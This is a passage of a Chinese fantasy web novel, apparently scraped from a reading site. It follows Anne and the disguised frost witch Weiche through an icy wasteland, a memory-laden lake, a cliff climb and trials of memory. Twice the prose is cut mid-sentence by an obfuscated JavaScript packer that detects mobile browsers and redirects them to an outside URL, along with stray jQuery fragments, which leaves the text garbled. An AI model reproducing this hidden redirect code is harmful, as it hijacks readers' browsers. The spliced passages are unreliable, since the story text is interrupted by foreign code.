两个分岔口都走错,他们总不会碰面了。 老人没回答,但显然对安妮满意了很多。 “我才不怕你跟我抢呢,你以为人人都能得到‘幽冥寒焰’?到了说不定你比我还死得快。” “……” 安妮真是要被这老头打败了。她总感觉老头有点自恋,但她找不到证据。 “好了,休息吧,咱们还要赶十几天的路呢。” 老人说完,调整了个姿势,靠在墙壁边。 “咱们要不后背贴后背吧,这样暖和点。” 这样太冷了。 “你不怕我偷袭?” “我怕你第二天醒过来粘在墙上。” 安妮调侃了一句,老人胡子都要被气歪了。 但他还是妥协了,毕竟那墙壁真的挺粘人的。 安妮和老人背靠背睡了一晚。 第二天,两人接着赶路。 老人虽然看着不靠谱,但其实还是能自理的。吃饭什么的自备灵果,那火也从不掉链子。尤其是,有了他带路,做什么都简单了不少。 “喂,马上就到乱风谷了,进去之后就没有出去的余地了,你想好了吗?” 几天时间,老人一直要求安妮赶路的时候也说点话,两人从最初的陌生戒备到熟悉拌嘴,已经能够开始分享自己的经历和经验。 “你都说了好多遍了,我知道。” 乱风谷是一个分水岭,如果说前面的外圈是所有顺风都朝着出去的方向,那么进入乱风谷后,风将没有任何规律可循,走到哪儿都是逆风。 这个时候再想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119517|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,就只能借助内部的传送阵和法力了。 老人说极寒冰原其实也是有生物存在的,只是很少,他们可以无视禁制在极寒冰原使用法力,但对应的代价是不能离开极寒冰原。 他没有遇到过,也不知道这些怪物是好是坏。 “那咱们一鼓作气,乱风谷风大,洞口万一塌了就不好了。” “行。” 安妮带着老人顶风前进,虽然已经选了风最小的地方,但安妮还是感觉到了那种如同落叶在海水中浮沉的身不由己。 狂风从四面八方袭来,却没有把安妮往任何一个地方吹。她感觉选择哪个方向都有巨大的阻力。 之前她还可以借助风向节省力气,现在却只能毫无保留。 老人说极寒冰原的风是不讲道理的,越往里面越奇怪,堪称力量逻辑悖论的源泉。 “右边,右边……” 老人拽着安妮的衣角,不断重复方向。 右边……右边…… 狂舞的头发抽打着脸,安妮一遍遍抹掉睫毛上的雪,在老人的拖拽下终于分清了左右。 安妮跟着老人的指引左冲右突,感觉手脚都被冻成了冰块。也不知道过了多久,她累得眼睛都睁不开了,老人终于把她带到了一个山洞。 这混蛋,躲在她身后坐享其成,还把她腰间的衣服当方向盘使。 但是安妮只是喘着气,捂着嘴,尽量把冷空气焐热一点。 “不好意思啊,我只是觉得一个人挡风总比两个人挡风好,起码我在你后面能给你找准方向。” 老人心虚地辩解着。 安妮还是慢慢按照金克丝的教导调整呼吸,这是恢复体力最快的方式。 “你怎么不说话?你不会生气了吧?虽然后面的路好走了,但你也不能丢下我不管啊。” “大哥,我没有你那么不要脸。” 安妮忍不住接了一句。 “我有名字,我叫彻微。” “知道了……” “你真的不生气?” 安妮很累,但想到老人的警告,还是打起精神跟他聊天。 “你的做法本来就是对我们最有利的,我再生气我能把你甩前面吗?你被吹飞了还要拉着我一起,我才没那么傻。” “嘿嘿……” 老人尴尬地挠了挠头。 “好了,今天太累了,我要早点休息,咱们明天再聊吧。” 不得不说和老人一起走还是有好处的,虽然身体是累了点,但起码她没有时间想东想西,自寻烦恼了。 老人这次终于没有打扰她了,但安妮半夜还是被他叫醒。 “怎么了……” 安妮迷迷糊糊揉揉眼睛。 “我感觉积雪在往下掉,这个洞快塌了!” 老人小声在安妮耳边说。 什么? 安妮猛然撑起身,被老人一把抓住。 “动作轻一点!” 安妮点点头,也没什么包裹,便带老人朝洞口冲。 一到洞口,安妮就感觉全身都僵住了。她没想到深夜的极寒冰原温度会这么低,此时黑漆漆的夜空在给白茫茫的冰雪笼罩上一层死亡的气息,安妮停滞的思维竟然活跃起来。 她想到了遇见木木的那个冬天。 “喀嚓……” 石头碎裂的声音把安妮唤醒。在呼啸的寒风中,那声音是如此清脆。 和着安妮冰冷的心。 “快走,此地不宜久留,咱们赶紧再去找个洞口。” “哦,好。” 积雪不断下落,这洞口马上就要塌了。 安妮把想把冰棍捡起来继续绑好,但也来不及了。她咬牙,胡乱地往前走着。现在这么黑,一时半会儿也不一定找得到庇护所。 她难道今晚要被冻死在这里了? 安妮有些不甘。第一次死亡是那么无力,阴影甚至蔓延到了现在。第二次死亡同样毫无还手之力,甚至还多了绝望。那么现在呢?是什么? 安妮竭力控制自己不要哭,因为泪水会结冰。 “看来咱们真要死在这里了……”老人还是借着安妮挡风,吼出来的话有些悲哀,“你接近过死亡吗?这是我第二次接近死亡了。” 安妮不想回答,她知道在这个时候,闭嘴前进才是最好的,但她忽然很想倾诉。 孤独如雪崩一般淹没了她。 “我……我已经死过两次了。” “你说什么?我听不见!” 老人还是大吼着,似乎要把全身的力气吼完。 安妮鼻头一酸,眼眶通红。她还是麻木地前进着,把手拿开,埋头,任由冷风直直贯穿肠胃。 “我说,我已经死过两次了!我不怕死!” 喊出来,似乎就真的不怕了。 她早已经历过比死亡更绝望的事。 “我不信!你真这么厉害,还会本源都没有吗?” 是啊,为什么?但是安妮没有思考,她只是怒吼着。 “我也不知道啊!为什么……我也不知道,到底是为什么……为什么……” 她好像在问自己,也好像在问上天,但是这么大的风雪,早已把她的问题淹没,也把答案淹没了吧。 “没想到,死亡都是这么突然啊,早知道我就乖乖等着寿终正寝了!” “你会甘心吗?” “当然不会了!这么说,还是死在这里好啊!起码没人看见!” “死在哪里,都不会有人看见的!” 看见了又如何,生命消散得如此之快,没有一点痕迹,他们根本不会关心。 安妮心中越发悲凉,那冰雪终于吹到了心脏。 她忽然有些明白自己为什么舍不得希望之森,舍不得亚特兰蒂斯,因为它们都与世隔绝,都有着孤独和平静的生活。 但现在,回不去了。 “你运气好吗?你要是运气比我好,你就来带路,说不定我们可以找到别的洞!” 老人的问话让安妮忍不住大笑起来。 “你只是接近死亡,我都死了两次了,你说谁运气好?” 大概是这样怒吼式的交流和即将死亡的快感让安妮再无顾忌,她开始放任自己回忆。 “你是怎么死的?怎么又活了?说不定现在也可以呢?” “哈哈哈哈,我倒是希望可以,但我死得莫名其妙啊。一次死在天道手里,一次死在校长手里。你不知道吧?我复活后立志报仇,紧接着就被光明学院的校长欺骗,连爸爸妈妈的遗物都守不住……” 安妮笑着。 那个人是她吗? 那个悲惨的人好像是她。 她看着那人挣扎求生,看着她每天陷入迷茫,看着她割破自己的手腕和大腿…… 她好像真的置身事外了,她只是一棵活在希望之森的大树,一条隐居亚特兰蒂斯的人鱼。 “那你现在寻找火系本源,是为了报仇吗?” “不然呢?但可惜,没有人知道一只蝼蚁试图报复他们。看来,死在这里也挺好!” “挺好!” 安妮大笑着,重复地告诉自己,挺好。 她的脑子里,记忆再一次席卷而来,却涨得脑仁突突地疼。她越来越慢地呼吸着,终于渐渐闭上了眼睛…… 50. 50 安妮再度醒来的时候,周围还是蓝色的一片。冥火在不远处静静地燃烧着,好像昨晚只是一个梦。 她环顾四周,老人就坐在自己床边。 “事实证明,我的运气还是比你好的。” 老人呵呵一笑,有种劫后余生的庆幸。 安妮怔怔地看着他,终于想起昨晚的经历。那样疯狂的,会是她吗?安妮头有些疼。 “我后面看到了这个山洞,费尽力气才把你拖进来的,你要感谢我没有丢下你。” 老人得意地抬抬下巴,是求表扬的意思。 安妮嗤笑了一声。 “你不躲我背后,哪来的力气?” “我,我这不是听你的吗……” 老人眼神躲闪,有些心虚。 其实他们都知道,昨晚那样的生死关头,安妮把他放在前面挡风才是最明智的选择。 “你为什么没有……” 老人轻声询问,后面的话大家都心知肚明。 “你明明比我更需要活着。” 安妮叹了口气。 “因为当时我忘了。” “啊?” 老人傻眼了。 “风太大,我满脑子都是过去的记忆,谁还想着你在身边?可惜了,下次一定把你扔前面。” “你,你这说的什么话?你说被我的人格魅力折服了,或者不忍心我这个老人家半路就被冻死,不行吗?” “我为什么要这么说?” “你……你……” 老人气得满脸通红,还是扭过头,自己生闷气。 安妮摇了摇头。 她说的就是实话。 她从来不是个无私奉献的人,无论在什么时候,她都会先保证自己的安全。甚至……她有些懊恼昨晚的迟钝。 但那样的风也确实太扰人心智了,她根本没有思考的能力。 安妮看了眼身边的老人,他还在生闷气。 “之后的风都是这样的吗?” “也就晚上的厉害,到了内部可能会一样。” 安妮点了点头。 那就好,反正她也没什么底细可说,只要那风没有昨晚的危险就行了。 “现在几点了?咱们今天还赶路吗?” “马上晚上了,明天再说吧。” 安妮看着火,沉思着点了点头。 “我现在也睡不着,你不如跟我讲讲你的打算吧。” “我的打算?” “我的目标就是找到火系本源报仇,那你呢?你如果真的收服了‘幽冥寒焰’,想做些什么?” “做什么?都有天下无敌的力量了,那当然是想做什么就做什么啊。” “那你还挺随心所欲的,那就祝你好运了。你放心,我不会跟你抢神器的。” “知道知道,你之前不都说了吗?” 老人不耐烦地摆了摆手,安妮确定他是真的相信了自己,便开始思考接下来要找什么趁手的武器。 冰棍当时来不及拿,现在这周围全是坚冰,就地取材倒是简单,但她可没有那么强大的力量。连暴风都吹不掉的冰锥,她怎么可能拔起来。 “你在想什么?” “武器,之后探路或者应急。” “这周围哪有什么动物?不用了。” 也是……是她太没有安全感了。 “对了,你会叉鱼吗?” “会啊,怎么了?” “咱们不是要攀岩吗?那里的风也挺大的,需要点道具。咱们没有,只能跟人家换。” “你之前怎么没说?” “那东西本来我有的,昨晚掉了……” 老人把空空的口袋布拉出来。 “这么贵重的东西你怎么乱放!” “我……我这不是太担心你了吗?肯定是我拖你的时候弄掉的,都怪你!” “……” 安妮被老人的厚脸皮打败了。 “你说的是什么?” “极寒定风珠,听名字你应该知道用处。” “这么珍贵的东西你也能掉!” 虽然没听说过,但安妮都不知道的东西,可想而知有多珍贵。极寒冰原的法力无效,那肯定其他器具也无效,而极寒定风珠一听就是在极寒冰原也能用的。 “那个东西有时间限制,所以我之前没拿出来。” 多久拿出来无所谓,反正到了要攀岩的地方他也会坦白,但掉了安妮就很心疼。 “你也别太担心,那东西我也是偶然得到的。只要咱们想办法在镜月湖抓到鱼,交给那里的兽人,就可以交换了。” “兽人没有攻击性吧?” “没有,我也是听人说的,但都能交换到这个珠子,说明他们没撒谎。” 事到如今,也只有按照老人说的做了。虽然不知道他到底是什么意思,但安妮人生地不熟的,也只有听他的。 走过乱风谷,风竟然小了一点,但也确实更加寒冷了,思维的冻结在此刻格外明显。安妮和老人有一搭没一搭地聊着,不知不觉,两人就到了一个完完全全没有风的地方。 这是她第一次感觉到沉静而内敛的寒。 不同于呼啸的风雪,空气里似乎都悬挂着泪水。来自世界的冰一点点覆盖身体,好像要包裹成一个茧。 “这里就是镜月湖了,咱们要到达极寒冰原的中心只有两种方法,一个是走这上面,跨过湖水,再穿过一个冰谷,还有一种就是攀登我说的冰山,再走下坡路,然后抵达目的地。” 既然老人说攀岩还要轻松点,那她正好试探一下这湖有什么可怕的。 安妮抱着这样的想法,走到岸边。老人也不阻止,让她先试一下行走。 冰面滑溜溜的,和无妄森林的那条河完全不一样的是,空气中充满回忆。安妮有些惊讶,站上去后,她走一步,脑子里就闪过一幅场景。 晶莹的树枝……墨绿的衣角……燥热的树叶……倾盆的酸雨…… 安妮的心脏一抽一抽,她疼得有些迷茫。 往回走,这一次如同一个局外人,再倒放一遍黑白的胶卷。但记忆是散乱的,上一秒还在和初遇的少年互诉衷肠,下一秒就跪在昏暗的天空下啜泣。 安妮抵达岸边的石头,头有点晕。 “我一把年纪没办法帮你,你看下面哪里有鱼,直接拿叉子贯穿,这冰面其实脆得很。” 老人不知道从哪里找来一个冰锥,递给安妮。 半米长,一端尖尖的,。 安妮站在岸边,先在面前戳了个洞,试试力道。 “嘭……咕噜噜……” 冰块慢慢下沉,清脆的声音在安妮耳边回响。 她好像看到了凯德阿姨熬的冬阳汤。 “你小心一点,镜月湖上走,回忆九十九;一戳一个洞,欲望满窟窿。” 这是什么意思?安妮把记忆全部收回,然后全神贯注地思考。这样简单易懂的文字,她生生咀嚼了几分钟,才明白过来。 看来他不敢上来,是害怕回忆杀太多。 至于欲望…… 安妮握了握冰棍。 她其实没什么欲望,只有执念罢了。 她一直都是这么认为的,那现在,就试一试吧…… 安妮走上湖面,果然看到了一条鱼的影子。她慢慢滑过去,紧紧盯着,精准落叉…… “啪嚓!” 又是一个洞,这次她看到了白色的提伯斯。 他围着围巾,抱着烤鱼狼吞虎咽,是当初凯德阿姨织的围巾…… 鱼已经溜走了,但是安妮不甘心。 她继续追逐,一向引以为傲的抓鱼技术却有些不尽人意。她不甘心,憋着一股气和冰下面的鱼较劲。 “啪嚓……” “吱吱……” “嘭!” 冰块碎裂的声音清晰可闻,老人坐在一旁看着,眼里闪过一丝惊讶。 安妮的动作干脆利落,眼中仿佛只有鱼的影子。 冰面上已经有了很多洞,终于,在又一次冰块碎裂的时候,安妮高高举起了冰锥。 “我抓到了!” 她的笑容很灿烂,让老人微微挡了挡眼睛。 “没想到速度这么快……” “其实这个湖水也没多少吓人,就是脑子有点乱而已。” 老人看着安妮没心没肺的样子,眼底疑惑更甚。但他没有表现出来,安妮沉浸在喜悦里,还在梳理记忆,也没有注意到。 “现在要做什么?” “我去把鱼送到交易的位置,你在这里等着。” “好,那我再抓一条,一个极寒定风珠应该不够。” 安妮说着,拿起冰锥再次走上冰面。 老人拿着活蹦乱跳的鱼,往另一个方向赶去。他的目标明确,手里的鱼被抓紧,动弹不得。 很快,他走到一块石头边,敲了敲那石头的顶端。 佝偻的脊背逐渐挺直,苍老的皱纹也变得平展。臃肿的棉衣棉裤化为光点消散,取而代之的是一件性感的长袍。白发垂落,幽蓝的纹身逐渐蔓延到裸露的冰蓝色脊背上。法杖竖立,细长扭曲如同毒蛇。 “你怎么不装美女装老人了?” 前方突然飞奔来一个身影。 白色的巨熊伏在地上,背部坐着一个披熊皮的小男孩。他眉眼稚嫩,嘴唇微微嘟起,皮肤白皙眼眸明亮,和面前紫色的女巫格格不入。 “装美女没用,这次是个小女孩。要不是我装的老人有利用价值,她都不带搭理我的。” 女巫厉声抱怨。 “哈哈哈哈,说明你不够可怜,装得不像。” “谁说不像了?只是这次遇到的人很特别而已。你知不知道,她才二十几岁的样子,死了两次,第一次还是被天道杀死的。” 女巫说着把鱼扔给小男孩。 小男孩把鱼给了白熊。 “所以你可怜她,把她带到这里,还叉鱼跟我交换定风珠?” “你想多了,鱼是她叉的。” “啥?” 小男孩这次惊讶了,座下的白熊咬着鱼,也是一副不解的神情。 “我也不知道为什么,按道理说这么执着于复仇,欲望应该很深才对。” 镜月湖除了让人陷入回忆,底下的鱼还代表着欲望,戳一个窟窿最深的欲念就会得到一点满足。直到最后,抓鱼的人因为无尽的欲望戳下一堆窟窿,冰面破裂,坠入深渊。 但是安妮抓到了鱼,说明她的欲望不深,十几个窟窿之后,她的欲望就变成了抓到那条鱼。 这是何等的矛盾。 “她是不是撒谎了?” “没有,我也怀疑过,因为她说她只是来找火系本源的,根本不知道‘幽冥寒焰’。但是后面我在大半夜让她闯乱风谷,当时她做什么说什么都遵从本心,不可能撒谎。” “而且……她当时还一直把我保护在身后……” 白熊这次东西都没吃了。 因为这人真是头一份的奇葩。 “那你打算怎么做?这个人很有潜力啊,你不准把她丢出去。” “知道了知道了。”女巫不耐烦地摆摆手,“听够了没有?还不出来?我们没有恶意的。” 躲在石头后面的安妮有些尴尬。她嗫嚅着走出,女巫转身,安妮发现她的小臂脖子上也有蓝色的纹身。 “你怎么跟踪我?我伪装得很差吗?” “额……也不算吧。” 只是和巫阿婆待久了,安妮总觉得她不像真正的老人。 “肯定是你放不下身段,还觉得自己是美女。” 小男孩才不客气,笑嘻嘻地说。 “谁说的?这次我都弯着腰走路的,遇到不平坦的地方还要搀扶,怎么会……”女巫辩解着,有些不满,“你怎么发现的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119518|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊?”安妮被问到,感觉两人只是单纯想知道答案,还是斟酌了一下言辞。 “也没什么,就是老人身体差,应该会经常扯衣服,掸雪之类的。还有……闯乱风谷那会儿你在我身后躲着,按道理说不该全神贯注却找了个会坍塌的洞穴,而且大半夜你居然比我先警觉,路上还有心思问我各种问题……” “说白了还是伪装差劲,啧啧。” 小男孩不屑道。 “还好啦,只是要知道我的信息,难免要试探,试探就会露馅嘛。”安妮难得帮女巫说着话,倒不是真的和她交心,只是她感觉这女巫挺自恋的,估计不喜欢被人说短处。 万一她一个不高兴把自己丢出去了怎么办。 “听到没有,我这是没办法。” 女巫虽然知道安妮有意偏袒,但心里也很舒服。 “既然已经暴露了,我也不卖关子。我叫薇彻,极寒冰原的冰霜女巫,和‘幽冥寒焰’是老朋友了,但他就是看不上我,每次我走到极寒洞窟的内部就会被扔出来。我和泰瑞特瑞打了赌,要是这一百年里有人走在我前头,我就包了他下一百年的鱼。” “少往自己脸上贴金了,人家跟你才不是朋友,你明明走到内外圈的交界线就失败了好不好?” “你找打是不是?” 女巫有些生气,看来果然不喜欢别人拆穿她。 “那个……我是来找火系本源的……” 这女巫一开始不是还把那神器视为己有,都不准她去拿吗? “我知道啊,但是‘幽冥寒焰’的第一层就是考验挑战者的斗志,你去那里肯定能激发‘战争本源’——你不会不知道火系本源的本质是战争吧?” “额……” 她真不知道。 “看你这样子也不知道……要不是我指路,她能不能到达这里都不好说,你还是别指望她超过我了。” 女巫得意地对着小男孩道。 “切,咱们走着瞧。” “虽然我可以带你去极寒洞窟,但是这里的困难该经历也要经历,攀岩我就不陪你啦。泰瑞特瑞,把珠子给她——断崖就在右边,你可别连入门都做不到。” “放心吧,不会的。” 小男孩拿出一颗蓝色的珠子,拇指大小,晶莹剔透。 “含在嘴里,我给你的可是时间最长的,你别让我失望呀。” “额……我尽量。” 安妮用过避水珠,想来这个也能很快掌握。 “那我们就去崖上等你的好消息了。友情提示,这个工程最好一鼓作气,不然极寒定风珠时间不够。” 薇彻说完摆摆手,和泰瑞特瑞一起离开了。 不需要再装老人,她走得更加轻盈和妖娆,配上那看起来就不保暖的长袍,还真是雪域里一道独特的风景。 安妮往右走,不一会儿就看到了薇彻口中的断崖。 真的很直,像一堵密不透风的墙。 她站在断崖下面,感觉并没有狂风呼啸。难道定风珠解决的是中途出现的风?安妮不知道,她先把手套摘了下来。 虽然很想戴着手套攀岩,但太容易打滑了。 一摘下手套,安妮就感觉手指僵硬了。她鼓起勇气,试探着戳了戳崖壁。 好冷……触手一片冰凉,似乎冷到了骨子里。安妮眼眶一热,莫名的悲伤传来,想赶紧收回手,却发现手指似乎被粘住了,用点力气才扯下来。 没有多疼,表皮甚至完好无损,就是皮肤被冻得通红。 这样的温度……倘若徒手,又要一下下撕扯…… 安妮不敢想象。 那些人是怎么上去的?听薇彻所说,一定还有其他挑战者。 安妮环顾四周,全都是冰。看起来也没有什么道具。她于是把极寒定风珠含在了嘴里。 让安妮意外的是,她感觉到了风。 就在含住珠子的下一秒,安妮感觉周围好像被风包裹。这风有点像乱风谷晚上的飓风,让安妮脑子里闪过许多不美好的回忆,但是又模模糊糊想不起来。 定风珠,不定风,引风? 那它的作用是什么? 安妮再次把手指放上崖壁,这一次,骇人的温度消失了,粘连的效果还在,整个墙壁好像涂满了胶水。她收回手,撕扯的感觉明显多了——因为手没被冻麻木。 身体舒适的代价,是脑子里更加清晰的回忆。 但起码现在有机会上去了。 安妮担心定风珠的时间不够,手脚并用试探着向上攀登。她做得很缓慢,一米一米试探着,保证掉下去不会受伤。 事实上,这悬崖很好攀登,安妮甚至觉得有人刻意把它打造成了现在凹凸分明的样子。没有欺骗人落脚的碎石,也没有摇摆不稳的突出点,每一步都无比顺畅。 顺畅到安妮几乎快忘记自己在攀岩。 然后沉浸在一个个幻象里。 这次的精神攻击又不一样了,每当安妮觉得要出现记忆里的转折点时,一切都朝着好的方向发展。 如果当初没有天雷……如果当初菲缇没有欺骗……如果当初加丁不知道深渊权杖的存在……如果…… 好多如果。 但那又如何。 一切都已经发生了。 安妮可是能亲手破碎掉希望麦田的人,这点诱惑又算什么?她不屑一笑,动作越发迅速。 小小的身影在悬崖上极速前进,眼中只有前方的路。 幻象的风还在改变,但无论悲观还是乐观,她没有停顿。 安妮也不知道自己爬了多久,只是觉得还不够。这样的训练,还不如当初金克丝的花样和时间多。到达顶端的那一刻,她甚至意犹未尽。 好像回到了当初跟着师傅心无旁骛地训练那会儿。 但面前的不是凉鞋,也不是靴子。 安妮抬头,薇彻和泰瑞特瑞正微笑看着她。 51. 51 “真没想到你竟然这么快就上来了。” 薇彻有些惊讶。 “我就说早点来准没错吧?我看人很准的。” 泰瑞特瑞有些得意。 安妮这下不用想也知道,自己的成绩很好了。但她还是忍不住问了句:“请问,我花了多长时间?” “七八个小时吧,比我第一次攀登快那么一点。” “对对对,几个小时也是一点。” 泰瑞特瑞还是熟练拆台。 安妮有些欣喜地笑了笑。她终于不是垫底了。 当初金克丝第一次测试她的身体指标后,恨不得丢掉她这个平均线都达不到的弱鸡。那个时候安妮就下定决心,无论做什么,至少别垫底。 “喏,把手擦一擦吧。” 薇彻递给安妮一瓶药,安妮接过,才发现双手火辣辣的疼,在冰冷的空气中好像要炸开。 “你都没有感觉的吗?哪怕记忆不会留住你,你也不休息一下的吗?” “我忘了。” 忘了……又忘了。之前安妮也是这么说的,但是薇彻已经看明白了。 “你这么疯狂,肯定跟我打平手。——先说好啊,打平手可不算的。”后半句是对泰瑞特瑞说的,安妮擦着药,有些不解。 “你还不知道‘幽冥寒焰’的内外圈吧?当初薇彻仗着自己是极寒冰原的稀有物种,三番五次去挑战,‘幽冥寒焰’被她烦死了,最后给了她一点提示。” “幽火冥火其实克制的是幽风冥风,幽风影响环境,至冷至寒;冥风影响精神,至深至寒。外圈基本是幽风的考验,只要意志坚定,欲望执念够深,就能扛过去。内圈则是冥风的考验,必须极致冷漠和淡泊,置身世界之外,没有任何追求才能通过考验。” “我看这根本就是他诓我的,哪有人能同时达到这两点的?” “薇彻就是有野心有欲望,但是进都进不去内圈,哈哈哈哈……” 泰瑞特瑞笑得恣意,差点栽倒在熊背上。 “那你还连外圈都进不去呢,笑什么?” 薇彻撇嘴。 “无所谓,我只要在外圈感知一圈,找到火系本源就行了。” “你就这么容易被满足?‘幽冥寒焰’可是很厉害的神器,虽然现在有被天道和法则束缚的嫌疑,但得到了,假以时日,也是天下无敌的存在——你就不向往吗?” “向往有什么用?人贵在有自知之明。” 虽然安妮其实不太喜欢这句话,但不得不说当初的巫阿婆说得很对。 人贵在有自知之明。 “哪一个来这里的不是踌躇满志?还没见过你这么悲观的。不过这样也好,你该是这百年来的最后一个外来者了。” “你放心,我就在过度的终点等你,你要是超过了,我看得见。输了的话……‘幽冥寒焰’会怎么处置你我就不知道了。” “会死吗?” “虽然这是大多数人的结局,但咱们好歹是朋友,我会保你小命的。” 安妮眨眨眼,有些不确定。她倒不是不相信薇彻,只是感觉这自恋的女巫没那么靠谱。到时候要不察觉到危险就走好了。 “你描述的‘幽冥寒焰’好像有生命一样。” “万物有灵,‘幽冥寒焰’这种级别的神器要化形基本不可能,但基本的思维还是有的。‘刀锋意志’都成战神了,谁知道呢?” “‘刀锋意志’?” “自然神器啊,你不知道吗?” 战神真是神器? 薇彻这随口一说,让安妮感觉自己好像发现了什么不得了的秘密。关键是,她还毫无所察,十分淡然。 让安妮都不觉得她有造假的可能。 “哦,我忘了,诸神之战好像都过去近千年了吧?这些该是尘封已久的秘密了——你就当没听到。” “……” 还真随意。 “你少说点废话吧,当心被天道制裁了。” “天眼又看不到这里。” 薇彻还是习惯性反驳,但也闭了嘴。 安妮很想问问天眼是什么,但她知道之前的秘密已经足够让自己保持沉默了。万一薇彻想灭口,自己挣扎的余地都没有。 “到了,就是前面的洞窟,你在这里等好了,这次说不定我还能前进点。” 薇彻表现得就像一个和益智玩具较劲的孩子。 但是知道诸神之战……她最少都一千多岁了吧。 真是越老越还童吗?像树爷爷一样。 安妮发现在冰原,自己的思维被冻结起来,回忆倒是活跃了,大概也有环境的影响。这里的温度还是很低,但没有暴风,没有积雪,只有一望无际的冰。 前方是一个黑漆漆的洞穴,和埋在地上的冰洞不同,看起来结构独特,内部还闪烁着幽蓝色的光芒,十分神秘。 “我就懒得进去了,你们加油。” 泰瑞特瑞站在不远处,挥手。 很原始的告别方法。 “走吧,接下来,咱们可就是竞争对手了。” “……” 安妮和薇彻分开,先等她往前走。薇彻也不犹豫,迈着步子就开始前进。只是她的动作慢了下来,跨出一步后就会在原地停顿一下。 一开始停顿的时间很短,后面越来越长。 她没有回头。 安妮见薇彻很长时间不动弹,想着也不可能等她走到终点,自己也试探着迈开了腿。 “轰隆!” 一阵雷声突然响起,吓得安妮一个激灵。 她立刻往前走。 闪电的光亮……焦土的气息……寒冷的黑暗……每走一步,记忆深处的场景就清晰一点。安妮终于知道薇彻为什么会停下。 她在等。 等记忆播放完毕。 这个地方真的很奇怪,辛辛苦苦搭建出一个台子,却没有把挑战者丢在里面。没有苦痛的打击折磨,也没有幻想的幸福引诱,仅仅就是一个过客。 好像她所说的天眼。 好像那天她目睹莱沃的经历。 但是一切结束后,冰冷的雨水又好像确确实实打在了自己身上。那种全身力量聚集在手心,然后被打散的感觉也清晰起来。 安妮赶紧迈出下一步。 两个小人在金碧辉煌的大门前驻足。 她没想到幼时的自己眼睛原来那么明亮,抬头看着学院的名字,眸子充满璀璨的光芒,好像也望进了自己的心里。 温柔的教师带她走在学院的小路上,清风拂面、花草芬芳——如果不知道真相。 然后眼前的一切开始快进,不断闪现。轻声细语的陪伴、温暖柔和的安慰,还有鼓励她堕入黑暗时的沉稳坚定…… 茶和咖啡的味道在这一刻混合。 回忆结束在高台之上。 她以为那会是最神圣的地方,带给自己希望的地方。 她还以为那是个看似严厉却和蔼可亲的校长,能够为了自己的学生和梦想奋不顾身,坚持到底的校长。 也不是的…… 锥心的疼蔓延到全身,安妮缩了缩手指。她以为那时候的自己已经带着所有歇斯底里死去,但好像隐忍的痛一直留到了心脏角落,腐烂成毒液。 她明明是个旁观者,也早已知道一切…… 安妮再次迈步。 巫阿婆…… 她明明知道的,她出去了,挣扎出了那个村子。 但为什么,还是会绝望? 不要望着天空了,你是出去了的,你带着提伯斯出去了的……别哭,别失落…… 但安妮好像被分成了两半。 一半看着自己经历一切;一半正在亲身经历着一切。一半知道所有结局,企图制止眼泪;一半还深陷迷局,永远沉痛悲伤…… 安妮忽然想停下。 但都已经经历过的事,连再回顾一遍的勇气都没有吗? 她明明在此之前已经回顾过很多次了。 安妮再次迈步。这次,她再也不想停留。 一步……两步……三步……庞大的记忆在脑子里显得越发拥挤,安妮好像按下了加速键,于是所有情绪飞驰而过。 安妮只能凝神、闭目。 把所有的情绪都化作战意。 单纯的,执念。 这样前进,就够了。 安妮睁眼,自己已经和薇彻站在同样远的位置。前方原本黑漆漆的一片,现在有了些许亮光。 她凝神,再次迈步,这一次,前方的景色有了变化。 每走一步,变化就多一点。 头顶不知何时变为昏暗的天空,脚下的冰块融化,成为焦土。冰冷的皮肤上水滴炸开,淅淅沥沥,越来越多,带着灼烧的疼痛。 “轰隆!” 闪电。 雷声雨声交织,金黄的光亮中,安妮好像看到了那个垂死挣扎呐喊的自己。 女孩稚嫩的声音从很远的地方传来。 “为什么!” 为什么! 安妮抬眼,自己真的在很远的地方。 一身轻便的裙装,还带着小熊发箍,看起来是那么矮小,水蓝长发粘连在身上,显得滑稽可笑。 那这个自己又是谁? 我是谁? 小女孩还在仰望天空,安妮跟着看过去。 她不知道自己是谁,但她知道自己的敌人是谁。 安妮慢慢走过去。 就像海市蜃楼一样,越靠近,那个影子越虚幻。越靠近,视线越狭窄。越靠近,自己越像她。黑色的长发慢慢染蓝,全身的骨骼好像都在缩小。 安妮凝聚不出任何灵力。 也是直到这个时候,她才反应过来,一切都过去了。 周围的场景再次变换,安妮有些怔楞。她不理解,薇彻拼尽全力都无法跨越的交界,被她轻轻松松走过。 蓝发女巫还站在原地,眼神没有聚焦。但是安妮已经注意不到了,因为她无法回头。 每走一步路,后面就消失一点。裂缝越来越大,直觉告诉她,沟壑下的黑暗,她不能触碰。 于是安妮被迫前进。 她已经走出洞穴,一望无际的冰原上,没有风雪,只有寒气。安妮看不到任何东西,她感觉自己的脚似乎也被冰冻起来。 但是后面的裂缝在扩大,她不能不走。 安妮有些困倦。 往常走一整天都不会疲惫的身体,在此刻脆弱得仿若老妪。 她好困。 安妮的速度慢下来。 越来越慢。 一望无际的冰原上,娇小的少女一步步挪动着,每一秒都好像被冻结了万年。时间在此刻显得微不足道,她终于慢慢停下了一切动作。 安妮到了一个漆黑的世界。 到处都是黑暗的一片,看不见任何物体的轮廓。安妮好像也和黑暗融为一体,伸手,好在自己的外表清晰可见。 